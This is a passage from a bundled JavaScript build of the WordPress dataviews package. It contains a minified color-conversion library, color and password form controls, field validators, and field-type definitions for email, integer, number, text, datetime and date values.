15512 var t2 = r3.h, n2 = r3.s, e2 = r3.v, u2 = r3.a;
15513 t2 = t2 / 360 * 6, n2 /= 100, e2 /= 100;
15514 var a2 = Math.floor(t2), o2 = e2 * (1 - n2), i2 = e2 * (1 - (t2 - a2) * n2), s2 = e2 * (1 - (1 - t2 + a2) * n2), h2 = a2 % 6;
15515 return { r: 255 * [e2, i2, o2, o2, s2, e2][h2], g: 255 * [s2, e2, e2, i2, o2, o2][h2], b: 255 * [o2, o2, s2, e2, e2, i2][h2], a: u2 };
15516 };
15517 var g = function(r3) {
15518 return { h: u(r3.h), s: e(r3.s, 0, 100), l: e(r3.l, 0, 100), a: e(r3.a) };
15519 };
15520 var d = function(r3) {
15521 return { h: n(r3.h), s: n(r3.s), l: n(r3.l), a: n(r3.a, 3) };
15522 };
15523 var f = function(r3) {
15524 return b((n2 = (t2 = r3).s, { h: t2.h, s: (n2 *= ((e2 = t2.l) < 50 ? e2 : 100 - e2) / 100) > 0 ? 2 * n2 / (e2 + n2) * 100 : 0, v: e2 + n2, a: t2.a }));
15525 var t2, n2, e2;
15526 };
15527 var c = function(r3) {
15528 return { h: (t2 = h(r3)).h, s: (u2 = (200 - (n2 = t2.s)) * (e2 = t2.v) / 100) > 0 && u2 < 200 ? n2 * e2 / 100 / (u2 <= 100 ? u2 : 200 - u2) * 100 : 0, l: u2 / 2, a: t2.a };
15529 var t2, n2, e2, u2;
15530 };
15531 var l = /^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s*,\s*([+-]?\d*\.?\d+)%\s*,\s*([+-]?\d*\.?\d+)%\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i;
15532 var p = /^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s+([+-]?\d*\.?\d+)%\s+([+-]?\d*\.?\d+)%\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i;
15533 var v = /^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i;
15534 var m = /^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i;
15535 var y = { string: [[function(r3) {
15536 var t2 = i.exec(r3);
15537 return t2 ? (r3 = t2[1]).length <= 4 ? { r: parseInt(r3[0] + r3[0], 16), g: parseInt(r3[1] + r3[1], 16), b: parseInt(r3[2] + r3[2], 16), a: 4 === r3.length ? n(parseInt(r3[3] + r3[3], 16) / 255, 2) : 1 } : 6 === r3.length || 8 === r3.length ? { r: parseInt(r3.substr(0, 2), 16), g: parseInt(r3.substr(2, 2), 16), b: parseInt(r3.substr(4, 2), 16), a: 8 === r3.length ? n(parseInt(r3.substr(6, 2), 16) / 255, 2) : 1 } : null : null;
15538 }, "hex"], [function(r3) {
15539 var t2 = v.exec(r3) || m.exec(r3);
15540 return t2 ? t2[2] !== t2[4] || t2[4] !== t2[6] ? null : a({ r: Number(t2[1]) / (t2[2] ? 100 / 255 : 1), g: Number(t2[3]) / (t2[4] ? 100 / 255 : 1), b: Number(t2[5]) / (t2[6] ? 100 / 255 : 1), a: void 0 === t2[7] ? 1 : Number(t2[7]) / (t2[8] ? 100 : 1) }) : null;
15541 }, "rgb"], [function(t2) {
15542 var n2 = l.exec(t2) || p.exec(t2);
15543 if (!n2) return null;
15544 var e2, u2, a2 = g({ h: (e2 = n2[1], u2 = n2[2], void 0 === u2 && (u2 = "deg"), Number(e2) * (r2[u2] || 1)), s: Number(n2[3]), l: Number(n2[4]), a: void 0 === n2[5] ? 1 : Number(n2[5]) / (n2[6] ? 100 : 1) });
15545 return f(a2);
15546 }, "hsl"]], object: [[function(r3) {
15547 var n2 = r3.r, e2 = r3.g, u2 = r3.b, o2 = r3.a, i2 = void 0 === o2 ? 1 : o2;
15548 return t(n2) && t(e2) && t(u2) ? a({ r: Number(n2), g: Number(e2), b: Number(u2), a: Number(i2) }) : null;
15549 }, "rgb"], [function(r3) {
15550 var n2 = r3.h, e2 = r3.s, u2 = r3.l, a2 = r3.a, o2 = void 0 === a2 ? 1 : a2;
15551 if (!t(n2) || !t(e2) || !t(u2)) return null;
15552 var i2 = g({ h: Number(n2), s: Number(e2), l: Number(u2), a: Number(o2) });
15553 return f(i2);
15554 }, "hsl"], [function(r3) {
15555 var n2 = r3.h, a2 = r3.s, o2 = r3.v, i2 = r3.a, s2 = void 0 === i2 ? 1 : i2;
15556 if (!t(n2) || !t(a2) || !t(o2)) return null;
15557 var h2 = (function(r4) {
15558 return { h: u(r4.h), s: e(r4.s, 0, 100), v: e(r4.v, 0, 100), a: e(r4.a) };
15559 })({ h: Number(n2), s: Number(a2), v: Number(o2), a: Number(s2) });
15560 return b(h2);
15561 }, "hsv"]] };
15562 var N = function(r3, t2) {
15563 for (var n2 = 0; n2 < t2.length; n2++) {
15564 var e2 = t2[n2][0](r3);
15565 if (e2) return [e2, t2[n2][1]];
15566 }
15567 return [null, void 0];
15568 };
15569 var x = function(r3) {
15570 return "string" == typeof r3 ? N(r3.trim(), y.string) : "object" == typeof r3 && null !== r3 ? N(r3, y.object) : [null, void 0];
15571 };
15572 var M = function(r3, t2) {
15573 var n2 = c(r3);
15574 return { h: n2.h, s: e(n2.s + 100 * t2, 0, 100), l: n2.l, a: n2.a };
15575 };
15576 var H = function(r3) {
15577 return (299 * r3.r + 587 * r3.g + 114 * r3.b) / 1e3 / 255;
15578 };
15579 var $ = function(r3, t2) {
15580 var n2 = c(r3);
15581 return { h: n2.h, s: n2.s, l: e(n2.l + 100 * t2, 0, 100), a: n2.a };
15582 };
15583 var j = (function() {
15584 function r3(r4) {
15585 this.parsed = x(r4)[0], this.rgba = this.parsed || { r: 0, g: 0, b: 0, a: 1 };
15586 }
15587 return r3.prototype.isValid = function() {
15588 return null !== this.parsed;
15589 }, r3.prototype.brightness = function() {
15590 return n(H(this.rgba), 2);
15591 }, r3.prototype.isDark = function() {
15592 return H(this.rgba) < 0.5;
15593 }, r3.prototype.isLight = function() {
15594 return H(this.rgba) >= 0.5;
15595 }, r3.prototype.toHex = function() {
15596 return r4 = o(this.rgba), t2 = r4.r, e2 = r4.g, u2 = r4.b, i2 = (a2 = r4.a) < 1 ? s(n(255 * a2)) : "", "#" + s(t2) + s(e2) + s(u2) + i2;
15597 var r4, t2, e2, u2, a2, i2;
15598 }, r3.prototype.toRgb = function() {
15599 return o(this.rgba);
15600 }, r3.prototype.toRgbString = function() {
15601 return r4 = o(this.rgba), t2 = r4.r, n2 = r4.g, e2 = r4.b, (u2 = r4.a) < 1 ? "rgba(" + t2 + ", " + n2 + ", " + e2 + ", " + u2 + ")" : "rgb(" + t2 + ", " + n2 + ", " + e2 + ")";
15602 var r4, t2, n2, e2, u2;
15603 }, r3.prototype.toHsl = function() {
15604 return d(c(this.rgba));
15605 }, r3.prototype.toHslString = function() {
15606 return r4 = d(c(this.rgba)), t2 = r4.h, n2 = r4.s, e2 = r4.l, (u2 = r4.a) < 1 ? "hsla(" + t2 + ", " + n2 + "%, " + e2 + "%, " + u2 + ")" : "hsl(" + t2 + ", " + n2 + "%, " + e2 + "%)";
15607 var r4, t2, n2, e2, u2;
15608 }, r3.prototype.toHsv = function() {
15609 return r4 = h(this.rgba), { h: n(r4.h), s: n(r4.s), v: n(r4.v), a: n(r4.a, 3) };
15610 var r4;
15611 }, r3.prototype.invert = function() {
15612 return w({ r: 255 - (r4 = this.rgba).r, g: 255 - r4.g, b: 255 - r4.b, a: r4.a });
15613 var r4;
15614 }, r3.prototype.saturate = function(r4) {
15615 return void 0 === r4 && (r4 = 0.1), w(M(this.rgba, r4));
15616 }, r3.prototype.desaturate = function(r4) {
15617 return void 0 === r4 && (r4 = 0.1), w(M(this.rgba, -r4));
15618 }, r3.prototype.grayscale = function() {
15619 return w(M(this.rgba, -1));
15620 }, r3.prototype.lighten = function(r4) {
15621 return void 0 === r4 && (r4 = 0.1), w($(this.rgba, r4));
15622 }, r3.prototype.darken = function(r4) {
15623 return void 0 === r4 && (r4 = 0.1), w($(this.rgba, -r4));
15624 }, r3.prototype.rotate = function(r4) {
15625 return void 0 === r4 && (r4 = 15), this.hue(this.hue() + r4);
15626 }, r3.prototype.alpha = function(r4) {
15627 return "number" == typeof r4 ? w({ r: (t2 = this.rgba).r, g: t2.g, b: t2.b, a: r4 }) : n(this.rgba.a, 3);
15628 var t2;
15629 }, r3.prototype.hue = function(r4) {
15630 var t2 = c(this.rgba);
15631 return "number" == typeof r4 ? w({ h: r4, s: t2.s, l: t2.l, a: t2.a }) : n(t2.h);
15632 }, r3.prototype.isEqual = function(r4) {
15633 return this.toHex() === w(r4).toHex();
15634 }, r3;
15635 })();
15636 var w = function(r3) {
15637 return r3 instanceof j ? r3 : new j(r3);
15638 };
15639
15640 // packages/dataviews/build-module/components/dataform-controls/color.mjs
15641 var import_components45 = __toESM(require_components(), 1);
15642 var import_element52 = __toESM(require_element(), 1);
15643 var import_i18n42 = __toESM(require_i18n(), 1);
15644 var import_jsx_runtime93 = __toESM(require_jsx_runtime(), 1);
15645 var { ValidatedInputControl: ValidatedInputControl3 } = unlock(import_components45.privateApis);
15646 var ColorPickerDropdown = ({
15647 color,
15648 onColorChange
15649 }) => {
15650 const validColor = color && w(color).isValid() ? color : "#ffffff";
15651 return /* @__PURE__ */ (0, import_jsx_runtime93.jsx)(
15652 import_components45.Dropdown,
15653 {
15654 className: "dataviews-controls__color-picker-dropdown",
15655 popoverProps: { resize: false },
15656 renderToggle: ({ onToggle }) => /* @__PURE__ */ (0, import_jsx_runtime93.jsx)(
15657 import_components45.Button,
15658 {
15659 onClick: onToggle,
15660 "aria-label": (0, import_i18n42.__)("Open color picker"),
15661 size: "small",
15662 icon: () => /* @__PURE__ */ (0, import_jsx_runtime93.jsx)(import_components45.ColorIndicator, { colorValue: validColor })
15663 }
15664 ),
15665 renderContent: () => /* @__PURE__ */ (0, import_jsx_runtime93.jsx)(import_components45.__experimentalDropdownContentWrapper, { paddingSize: "none", children: /* @__PURE__ */ (0, import_jsx_runtime93.jsx)(
15666 import_components45.ColorPicker,
15667 {
15668 color: validColor,
15669 onChange: onColorChange,
15670 enableAlpha: true
15671 }
15672 ) })
15673 }
15674 );
15675 };
15676 function Color({
15677 data,
15678 field,
15679 onChange,
15680 hideLabelFromVision,
15681 markWhenOptional,
15682 validity
15683 }) {
15684 const { label, placeholder, description, setValue, isValid: isValid2 } = field;
15685 const value = field.getValue({ item: data }) || "";
15686 const handleColorChange = (0, import_element52.useCallback)(
15687 (newColor) => {
15688 onChange(setValue({ item: data, value: newColor }));
15689 },
15690 [data, onChange, setValue]
15691 );
15692 const handleInputChange = (0, import_element52.useCallback)(
15693 (newValue) => {
15694 onChange(setValue({ item: data, value: newValue || "" }));
15695 },
15696 [data, onChange, setValue]
15697 );
15698 return /* @__PURE__ */ (0, import_jsx_runtime93.jsx)(
15699 ValidatedInputControl3,
15700 {
15701 required: !!field.isValid?.required,
15702 markWhenOptional,
15703 customValidity: getCustomValidity(isValid2, validity),
15704 label,
15705 placeholder,
15706 value,
15707 help: description,
15708 onChange: handleInputChange,
15709 hideLabelFromVision,
15710 type: "text",
15711 prefix: /* @__PURE__ */ (0, import_jsx_runtime93.jsx)(import_components45.__experimentalInputControlPrefixWrapper, { variant: "control", children: /* @__PURE__ */ (0, import_jsx_runtime93.jsx)(
15712 ColorPickerDropdown,
15713 {
15714 color: value,
15715 onColorChange: handleColorChange
15716 }
15717 ) })
15718 }
15719 );
15720 }
15721
15722 // packages/dataviews/build-module/components/dataform-controls/password.mjs
15723 var import_components46 = __toESM(require_components(), 1);
15724 var import_element53 = __toESM(require_element(), 1);
15725 var import_i18n43 = __toESM(require_i18n(), 1);
15726 var import_jsx_runtime94 = __toESM(require_jsx_runtime(), 1);
15727 function Password({
15728 data,
15729 field,
15730 onChange,
15731 hideLabelFromVision,
15732 markWhenOptional,
15733 validity
15734 }) {
15735 const [isVisible2, setIsVisible] = (0, import_element53.useState)(false);
15736 const toggleVisibility = (0, import_element53.useCallback)(() => {
15737 setIsVisible((prev) => !prev);
15738 }, []);
15739 return /* @__PURE__ */ (0, import_jsx_runtime94.jsx)(
15740 ValidatedText,
15741 {
15742 ...{
15743 data,
15744 field,
15745 onChange,
15746 hideLabelFromVision,
15747 markWhenOptional,
15748 validity,
15749 type: isVisible2 ? "text" : "password",
15750 suffix: /* @__PURE__ */ (0, import_jsx_runtime94.jsx)(import_components46.__experimentalInputControlSuffixWrapper, { variant: "control", children: /* @__PURE__ */ (0, import_jsx_runtime94.jsx)(
15751 import_components46.Button,
15752 {
15753 icon: isVisible2 ? unseen_default : seen_default,
15754 onClick: toggleVisibility,
15755 size: "small",
15756 label: isVisible2 ? (0, import_i18n43.__)("Hide password") : (0, import_i18n43.__)("Show password")
15757 }
15758 ) })
15759 }
15760 }
15761 );
15762 }
15763
15764 // packages/dataviews/build-module/field-types/utils/has-elements.mjs
15765 function hasElements(field) {
15766 return Array.isArray(field.elements) && field.elements.length > 0 || typeof field.getElements === "function";
15767 }
15768
15769 // packages/dataviews/build-module/components/dataform-controls/index.mjs
15770 var import_jsx_runtime95 = __toESM(require_jsx_runtime(), 1);
15771 var FORM_CONTROLS = {
15772 adaptiveSelect: AdaptiveSelect,
15773 array: ArrayControl,
15774 checkbox: Checkbox,
15775 color: Color,
15776 combobox: Combobox3,
15777 datetime: DateTime,
15778 date: DateControl,
15779 email: Email,
15780 telephone: Telephone,
15781 url: Url,
15782 integer: Integer,
15783 number: Number2,
15784 password: Password,
15785 radio: Radio,
15786 select: Select,
15787 text: Text,
15788 toggle: Toggle,
15789 textarea: Textarea,
15790 toggleGroup: ToggleGroup
15791 };
15792 function isEditConfig(value) {
15793 return value && typeof value === "object" && typeof value.control === "string";
15794 }
15795 function createConfiguredControl(config) {
15796 const { control, ...controlConfig } = config;
15797 const BaseControlType = getControlByType(control);
15798 if (BaseControlType === null) {
15799 return null;
15800 }
15801 return function ConfiguredControl(props) {
15802 return /* @__PURE__ */ (0, import_jsx_runtime95.jsx)(BaseControlType, { ...props, config: controlConfig });
15803 };
15804 }
15805 function getControl(field, fallback) {
15806 if (typeof field.Edit === "function") {
15807 return field.Edit;
15808 }
15809 if (typeof field.Edit === "string") {
15810 return getControlByType(field.Edit);
15811 }
15812 if (isEditConfig(field.Edit)) {
15813 return createConfiguredControl(field.Edit);
15814 }
15815 if (hasElements(field) && field.type !== "array") {
15816 return getControlByType("adaptiveSelect");
15817 }
15818 if (fallback === null) {
15819 return null;
15820 }
15821 return getControlByType(fallback);
15822 }
15823 function getControlByType(type) {
15824 if (Object.keys(FORM_CONTROLS).includes(type)) {
15825 return FORM_CONTROLS[type];
15826 }
15827 return null;
15828 }
15829
15830 // packages/dataviews/build-module/field-types/utils/get-filter-by.mjs
15831 function getFilterBy(field, defaultOperators, validOperators) {
15832 if (field.filterBy === false) {
15833 return false;
15834 }
15835 const operators = field.filterBy?.operators?.filter(
15836 (op) => validOperators.includes(op)
15837 ) ?? defaultOperators;
15838 if (operators.length === 0) {
15839 return false;
15840 }
15841 return {
15842 isPrimary: !!field.filterBy?.isPrimary,
15843 operators
15844 };
15845 }
15846 var get_filter_by_default = getFilterBy;
15847
15848 // packages/dataviews/build-module/field-types/utils/get-value-from-id.mjs
15849 var getValueFromId = (id) => ({ item }) => {
15850 const path = id.split(".");
15851 let value = item;
15852 for (const segment of path) {
15853 if (value.hasOwnProperty(segment)) {
15854 value = value[segment];
15855 } else {
15856 value = void 0;
15857 }
15858 }
15859 return value;
15860 };
15861 var get_value_from_id_default = getValueFromId;
15862
15863 // packages/dataviews/build-module/field-types/utils/set-value-from-id.mjs
15864 var setValueFromId = (id) => ({ value }) => {
15865 const path = id.split(".");
15866 const result = {};
15867 let current = result;
15868 for (const segment of path.slice(0, -1)) {
15869 current[segment] = {};
15870 current = current[segment];
15871 }
15872 current[path.at(-1)] = value;
15873 return result;
15874 };
15875 var set_value_from_id_default = setValueFromId;
15876
15877 // packages/dataviews/build-module/field-types/email.mjs
15878 var import_i18n44 = __toESM(require_i18n(), 1);
15879
15880 // packages/dataviews/build-module/field-types/utils/render-from-elements.mjs
15881 function RenderFromElements({
15882 item,
15883 field
15884 }) {
15885 const { elements, isLoading } = useElements({
15886 elements: field.elements,
15887 getElements: field.getElements
15888 });
15889 const value = field.getValue({ item });
15890 if (isLoading) {
15891 return value;
15892 }
15893 if (elements.length === 0) {
15894 return value;
15895 }
15896 return elements?.find((element) => element.value === value)?.label || field.getValue({ item });
15897 }
15898
15899 // packages/dataviews/build-module/field-types/utils/render-default.mjs
15900 var import_jsx_runtime96 = __toESM(require_jsx_runtime(), 1);
15901 function render({
15902 item,
15903 field
15904 }) {
15905 if (field.hasElements) {
15906 return /* @__PURE__ */ (0, import_jsx_runtime96.jsx)(RenderFromElements, { item, field });
15907 }
15908 return field.getValueFormatted({ item, field });
15909 }
15910
15911 // packages/dataviews/build-module/field-types/utils/sort-text.mjs
15912 var sort_text_default = (a2, b2, direction) => {
15913 return direction === "asc" ? a2.localeCompare(b2) : b2.localeCompare(a2);
15914 };
15915
15916 // packages/dataviews/build-module/field-types/utils/is-valid-required.mjs
15917 function isValidRequired(item, field) {
15918 const value = field.getValue({ item });
15919 return ![void 0, "", null].includes(value);
15920 }
15921
15922 // packages/dataviews/build-module/field-types/utils/is-valid-min-length.mjs
15923 function isValidMinLength(item, field) {
15924 if (typeof field.isValid.minLength?.constraint !== "number") {
15925 return false;
15926 }
15927 const value = field.getValue({ item });
15928 if ([void 0, "", null].includes(value)) {
15929 return true;
15930 }
15931 return String(value).length >= field.isValid.minLength.constraint;
15932 }
15933
15934 // packages/dataviews/build-module/field-types/utils/is-valid-max-length.mjs
15935 function isValidMaxLength(item, field) {
15936 if (typeof field.isValid.maxLength?.constraint !== "number") {
15937 return false;
15938 }
15939 const value = field.getValue({ item });
15940 if ([void 0, "", null].includes(value)) {
15941 return true;
15942 }
15943 return String(value).length <= field.isValid.maxLength.constraint;
15944 }
15945
15946 // packages/dataviews/build-module/field-types/utils/is-valid-pattern.mjs
15947 function isValidPattern(item, field) {
15948 if (field.isValid.pattern?.constraint === void 0) {
15949 return true;
15950 }
15951 try {
15952 const regexp = new RegExp(field.isValid.pattern.constraint);
15953 const value = field.getValue({ item });
15954 if ([void 0, "", null].includes(value)) {
15955 return true;
15956 }
15957 return regexp.test(String(value));
15958 } catch {
15959 return false;
15960 }
15961 }
15962
15963 // packages/dataviews/build-module/field-types/utils/is-valid-elements.mjs
15964 function isValidElements(item, field) {
15965 const elements = field.elements ?? [];
15966 const validValues = elements.map((el) => el.value);
15967 if (validValues.length === 0) {
15968 return true;
15969 }
15970 const value = field.getValue({ item });
15971 return [].concat(value).every((v2) => validValues.includes(v2));
15972 }
15973
15974 // packages/dataviews/build-module/field-types/utils/get-value-formatted-default.mjs
15975 function getValueFormatted({
15976 item,
15977 field
15978 }) {
15979 return field.getValue({ item });
15980 }
15981 var get_value_formatted_default_default = getValueFormatted;
15982
15983 // packages/dataviews/build-module/field-types/email.mjs
15984 var emailRegex = /^[a-zA-Z0-9.!#$%&'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/;
15985 function isValidCustom(item, field) {
15986 const value = field.getValue({ item });
15987 if (![void 0, "", null].includes(value) && !emailRegex.test(value)) {
15988 return (0, import_i18n44.__)("Value must be a valid email address.");
15989 }
15990 return null;
15991 }
15992 var email_default = {
15993 type: "email",
15994 render,
15995 Edit: "email",
15996 sort: sort_text_default,
15997 enableSorting: true,
15998 enableGlobalSearch: false,
15999 defaultOperators: [OPERATOR_IS_ANY, OPERATOR_IS_NONE],
16000 validOperators: [
16001 OPERATOR_IS,
16002 OPERATOR_IS_NOT,
16003 OPERATOR_CONTAINS,
16004 OPERATOR_NOT_CONTAINS,
16005 OPERATOR_STARTS_WITH,
16006 // Multiple selection
16007 OPERATOR_IS_ANY,
16008 OPERATOR_IS_NONE,
16009 OPERATOR_IS_ALL,
16010 OPERATOR_IS_NOT_ALL
16011 ],
16012 format: {},
16013 getValueFormatted: get_value_formatted_default_default,
16014 validate: {
16015 required: isValidRequired,
16016 pattern: isValidPattern,
16017 minLength: isValidMinLength,
16018 maxLength: isValidMaxLength,
16019 elements: isValidElements,
16020 custom: isValidCustom
16021 }
16022 };
16023
16024 // packages/dataviews/build-module/field-types/integer.mjs
16025 var import_i18n45 = __toESM(require_i18n(), 1);
16026
16027 // packages/dataviews/build-module/field-types/utils/sort-number.mjs
16028 var sort_number_default = (a2, b2, direction) => {
16029 return direction === "asc" ? a2 - b2 : b2 - a2;
16030 };
16031
16032 // packages/dataviews/build-module/field-types/utils/is-valid-min.mjs
16033 function isValidMin(item, field) {
16034 if (typeof field.isValid.min?.constraint !== "number") {
16035 return false;
16036 }
16037 const value = field.getValue({ item });
16038 if ([void 0, "", null].includes(value)) {
16039 return true;
16040 }
16041 return Number(value) >= field.isValid.min.constraint;
16042 }
16043
16044 // packages/dataviews/build-module/field-types/utils/is-valid-max.mjs
16045 function isValidMax(item, field) {
16046 if (typeof field.isValid.max?.constraint !== "number") {
16047 return false;
16048 }
16049 const value = field.getValue({ item });
16050 if ([void 0, "", null].includes(value)) {
16051 return true;
16052 }
16053 return Number(value) <= field.isValid.max.constraint;
16054 }
16055
16056 // packages/dataviews/build-module/field-types/integer.mjs
16057 var format2 = {
16058 separatorThousand: ","
16059 };
16060 function getValueFormatted2({
16061 item,
16062 field
16063 }) {
16064 let value = field.getValue({ item });
16065 if (value === null || value === void 0) {
16066 return "";
16067 }
16068 value = Number(value);
16069 if (!Number.isFinite(value)) {
16070 return String(value);
16071 }
16072 let formatInteger;
16073 if (field.type !== "integer") {
16074 formatInteger = format2;
16075 } else {
16076 formatInteger = field.format;
16077 }
16078 const { separatorThousand } = formatInteger;
16079 const integerValue = Math.trunc(value);
16080 if (!separatorThousand) {
16081 return String(integerValue);
16082 }
16083 return String(integerValue).replace(
16084 /\B(?=(\d{3})+(?!\d))/g,
16085 separatorThousand
16086 );
16087 }
16088 function isValidCustom2(item, field) {
16089 const value = field.getValue({ item });
16090 if (![void 0, "", null].includes(value) && !Number.isInteger(value)) {
16091 return (0, import_i18n45.__)("Value must be an integer.");
16092 }
16093 return null;
16094 }
16095 var integer_default = {
16096 type: "integer",
16097 render,
16098 Edit: "integer",
16099 sort: sort_number_default,
16100 enableSorting: true,
16101 enableGlobalSearch: false,
16102 defaultOperators: [
16103 OPERATOR_IS,
16104 OPERATOR_IS_NOT,
16105 OPERATOR_LESS_THAN,
16106 OPERATOR_GREATER_THAN,
16107 OPERATOR_LESS_THAN_OR_EQUAL,
16108 OPERATOR_GREATER_THAN_OR_EQUAL,
16109 OPERATOR_BETWEEN
16110 ],
16111 validOperators: [
16112 // Single-selection
16113 OPERATOR_IS,
16114 OPERATOR_IS_NOT,
16115 OPERATOR_LESS_THAN,
16116 OPERATOR_GREATER_THAN,
16117 OPERATOR_LESS_THAN_OR_EQUAL,
16118 OPERATOR_GREATER_THAN_OR_EQUAL,
16119 OPERATOR_BETWEEN,
16120 // Multiple-selection
16121 OPERATOR_IS_ANY,
16122 OPERATOR_IS_NONE,
16123 OPERATOR_IS_ALL,
16124 OPERATOR_IS_NOT_ALL
16125 ],
16126 format: format2,
16127 getValueFormatted: getValueFormatted2,
16128 validate: {
16129 required: isValidRequired,
16130 min: isValidMin,
16131 max: isValidMax,
16132 elements: isValidElements,
16133 custom: isValidCustom2
16134 }
16135 };
16136
16137 // packages/dataviews/build-module/field-types/number.mjs
16138 var import_i18n46 = __toESM(require_i18n(), 1);
16139 var format3 = {
16140 separatorThousand: ",",
16141 separatorDecimal: ".",
16142 decimals: 2
16143 };
16144 function getValueFormatted3({
16145 item,
16146 field
16147 }) {
16148 let value = field.getValue({ item });
16149 if (value === null || value === void 0) {
16150 return "";
16151 }
16152 value = Number(value);
16153 if (!Number.isFinite(value)) {
16154 return String(value);
16155 }
16156 let formatNumber;
16157 if (field.type !== "number") {
16158 formatNumber = format3;
16159 } else {
16160 formatNumber = field.format;
16161 }
16162 const { separatorThousand, separatorDecimal, decimals } = formatNumber;
16163 const fixedValue = value.toFixed(decimals);
16164 const [integerPart, decimalPart] = fixedValue.split(".");
16165 const formattedInteger = separatorThousand ? integerPart.replace(/\B(?=(\d{3})+(?!\d))/g, separatorThousand) : integerPart;
16166 return decimals === 0 ? formattedInteger : formattedInteger + separatorDecimal + decimalPart;
16167 }
16168 function isEmpty2(value) {
16169 return value === "" || value === void 0 || value === null;
16170 }
16171 function isValidCustom3(item, field) {
16172 const value = field.getValue({ item });
16173 if (!isEmpty2(value) && !Number.isFinite(value)) {
16174 return (0, import_i18n46.__)("Value must be a number.");
16175 }
16176 return null;
16177 }
16178 var number_default = {
16179 type: "number",
16180 render,
16181 Edit: "number",
16182 sort: sort_number_default,
16183 enableSorting: true,
16184 enableGlobalSearch: false,
16185 defaultOperators: [
16186 OPERATOR_IS,
16187 OPERATOR_IS_NOT,
16188 OPERATOR_LESS_THAN,
16189 OPERATOR_GREATER_THAN,
16190 OPERATOR_LESS_THAN_OR_EQUAL,
16191 OPERATOR_GREATER_THAN_OR_EQUAL,
16192 OPERATOR_BETWEEN
16193 ],
16194 validOperators: [
16195 // Single-selection
16196 OPERATOR_IS,
16197 OPERATOR_IS_NOT,
16198 OPERATOR_LESS_THAN,
16199 OPERATOR_GREATER_THAN,
16200 OPERATOR_LESS_THAN_OR_EQUAL,
16201 OPERATOR_GREATER_THAN_OR_EQUAL,
16202 OPERATOR_BETWEEN,
16203 // Multiple-selection
16204 OPERATOR_IS_ANY,
16205 OPERATOR_IS_NONE,
16206 OPERATOR_IS_ALL,
16207 OPERATOR_IS_NOT_ALL
16208 ],
16209 format: format3,
16210 getValueFormatted: getValueFormatted3,
16211 validate: {
16212 required: isValidRequired,
16213 min: isValidMin,
16214 max: isValidMax,
16215 elements: isValidElements,
16216 custom: isValidCustom3
16217 }
16218 };
16219
16220 // packages/dataviews/build-module/field-types/text.mjs
16221 var text_default = {
16222 type: "text",
16223 render,
16224 Edit: "text",
16225 sort: sort_text_default,
16226 enableSorting: true,
16227 enableGlobalSearch: false,
16228 defaultOperators: [OPERATOR_IS_ANY, OPERATOR_IS_NONE],
16229 validOperators: [
16230 // Single selection
16231 OPERATOR_IS,
16232 OPERATOR_IS_NOT,
16233 OPERATOR_CONTAINS,
16234 OPERATOR_NOT_CONTAINS,
16235 OPERATOR_STARTS_WITH,
16236 // Multiple selection
16237 OPERATOR_IS_ANY,
16238 OPERATOR_IS_NONE,
16239 OPERATOR_IS_ALL,
16240 OPERATOR_IS_NOT_ALL
16241 ],
16242 format: {},
16243 getValueFormatted: get_value_formatted_default_default,
16244 validate: {
16245 required: isValidRequired,
16246 pattern: isValidPattern,
16247 minLength: isValidMinLength,
16248 maxLength: isValidMaxLength,
16249 elements: isValidElements
16250 }
16251 };
16252
16253 // packages/dataviews/build-module/field-types/datetime.mjs
16254 var import_date6 = __toESM(require_date(), 1);
16255 var format4 = {
16256 datetime: (0, import_date6.getSettings)().formats.datetime,
16257 weekStartsOn: (0, import_date6.getSettings)().l10n.startOfWeek
16258 };
16259 function getValueFormatted4({
16260 item,
16261 field
16262 }) {
16263 const value = field.getValue({ item });
16264 if (["", void 0, null].includes(value)) {
16265 return "";
16266 }
16267 let formatDatetime;
16268 if (field.type !== "datetime") {
16269 formatDatetime = format4;
16270 } else {
16271 formatDatetime = field.format;
16272 }
16273 return (0, import_date6.dateI18n)(formatDatetime.datetime, (0, import_date6.getDate)(value));
16274 }
16275 var sort = (a2, b2, direction) => {
16276 const timeA = new Date(a2).getTime();
16277 const timeB = new Date(b2).getTime();
16278 return direction === "asc" ? timeA - timeB : timeB - timeA;
16279 };
16280 var datetime_default = {
16281 type: "datetime",
16282 render,
16283 Edit: "datetime",
16284 sort,
16285 enableSorting: true,
16286 enableGlobalSearch: false,
16287 defaultOperators: [
16288 OPERATOR_ON,
16289 OPERATOR_NOT_ON,
16290 OPERATOR_BEFORE,
16291 OPERATOR_AFTER,
16292 OPERATOR_BEFORE_INC,
16293 OPERATOR_AFTER_INC,
16294 OPERATOR_IN_THE_PAST,
16295 OPERATOR_OVER
16296 ],
16297 validOperators: [
16298 OPERATOR_ON,
16299 OPERATOR_NOT_ON,
16300 OPERATOR_BEFORE,
16301 OPERATOR_AFTER,
16302 OPERATOR_BEFORE_INC,
16303 OPERATOR_AFTER_INC,
16304 OPERATOR_IN_THE_PAST,
16305 OPERATOR_OVER
16306 ],
16307 format: format4,
16308 getValueFormatted: getValueFormatted4,
16309 validate: {
16310 required: isValidRequired,
16311 elements: isValidElements
16312 }
16313 };
16314
16315 // packages/dataviews/build-module/field-types/date.mjs
16316 var import_date7 = __toESM(require_date(), 1);
16317 var format5 = {
16318 date: (0, import_date7.getSettings)().formats.date,
16319 weekStartsOn: (0, import_date7.getSettings)().l10n.startOfWeek
16320 };
16321 function getValueFormatted5({
16322 item,
16323 field
16324 }) {
16325 const value = field.getValue({ item });
16326 if (["", void 0, null].includes(value)) {
16327 return "";
16328 }
16329 let formatDate2;
16330 if (field.type !== "date") {
16331 formatDate2 = format5;
16332 } else {
16333 formatDate2 = field.format;
16334 }
16335 return (0, import_date7.dateI18n)(formatDate2.date, (0, import_date7.getDate)(value));
